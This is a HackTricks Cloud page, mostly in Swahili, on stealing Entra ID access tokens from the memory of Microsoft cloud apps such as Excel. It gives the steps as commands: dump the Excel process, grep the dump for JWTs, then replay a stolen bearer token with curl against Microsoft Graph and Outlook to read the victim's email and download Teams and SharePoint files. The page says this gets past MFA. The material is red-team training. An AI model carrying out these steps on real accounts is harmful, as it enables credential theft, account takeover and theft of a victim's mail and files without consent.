Az - Processes Memory Access Token

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Kama ilivyoelezwa katika hii video, baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza hifadhi token za ufikiaji kwa maandiko wazi katika kumbukumbu. Hivyo basi, kudondosha kumbukumbu ya mchakato na kuangalia token za JWT kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.

Hatua:

1. Dondosha mchakato wa excel uliohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.

2. Endesha: string excel.dmp | grep 'eyJ0' na pata token kadhaa katika matokeo

3. Pata token ambazo zinakuvutia zaidi na endesha zana juu yao:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Kumbuka kwamba aina hizi za access tokens zinaweza pia kupatikana ndani ya michakato mingine.

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki hila za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.